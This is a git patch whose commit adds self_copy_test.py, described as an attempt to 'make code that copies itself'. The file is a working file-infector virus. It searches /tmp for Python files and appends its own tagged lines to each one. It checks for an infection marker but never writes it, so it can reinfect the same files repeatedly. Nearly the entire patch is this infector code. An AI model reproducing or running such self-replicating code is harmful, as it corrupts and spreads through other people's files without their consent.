From 96374a9f7b27727ca54704ebefe86c7abf6177d5 Mon Sep 17 00:00:00 2001 From: aschmocker Date: Fri, 11 Oct 2019 13:29:21 +0200 Subject: [PATCH] Try to make code that copies itself --- self_copy_test.py | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 self_copy_test.py diff --git a/self_copy_test.py b/self_copy_test.py new file mode 100644 index 0000000..b6f3d8c --- /dev/null +++ b/self_copy_test.py @@ -0,0 +1,24 @@ +import os #!x +import sys #!x +import glob #!x +import socket #!x +import string #!x + +cmd = 'find /tmp -name "*.py" -print' #!x + + +for Files in os.popen(cmd).readlines():#!x + Files = Files[:-1]#!x + try:#!x + vCode = open(__file__, 'r')#!x + victim = open(Files, 'r')#!x + readvictim = victim.read()#!x + if str.find(readvictim, "pRdElKa") == -1:#!x + victim = open(Files, 'a')#!x + for code in vCode.readlines():#!x + if("#!x") in code:#!x + vCode.close()#!x + mycode=(code)#!x + victim.write(mycode)#!x + except IOError:#!x + a = 1#!x